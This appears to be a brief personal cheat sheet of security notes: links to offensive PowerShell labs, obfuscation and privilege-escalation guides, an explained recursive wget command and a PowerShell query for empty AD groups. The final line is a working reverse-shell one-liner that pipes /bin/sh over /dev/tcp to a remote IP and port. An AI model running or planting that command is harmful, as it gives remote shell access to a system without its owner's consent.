offensive powershell training

https://github.com/specterops/at-ps/tree/master/Labs

wget -r -np -nH --cut-dirs=3 -R index.html http://hostname/aaa/bbb/ccc/ddd/

Explanation:

• It will download all files and subfolders in ddd directory
• -r : recursively
• -np : not going to upper directories, like ccc/…
• -nH : not saving files to hostname folder
• --cut-dirs=3 : but saving it to ddd by omitting first 3 folders aaa, bbb, ccc
• -R index.html : excluding index.html files

Reference: http://bmwieczorek.wordpress.com/2008/10/01/wget-recursively-download-all-files-from-certain-directory-listed-by-apache/

Powershell obfuscation

https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf

Reverse Engineering Resources

https://joshstepp.com/post/2019reresources/
https://malwareunicorn.org/#/resources
https://azeria-labs.com/

Windows privileges escalation

https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Empty AD groups

Get-ADGroup -Filter * -Properties Members,whenCreated,SamAccountName,DistinguishedName | Where {-not $_.members} | select whencreated, SamAccountName,DistinguishedName | E
xport-Csv EmptyADGroups.csv –NoTypeInformation

Redirect shell over the network

/bin/sh 0</dev/tcp/192.168.16.128/5000 1>&0 2>&0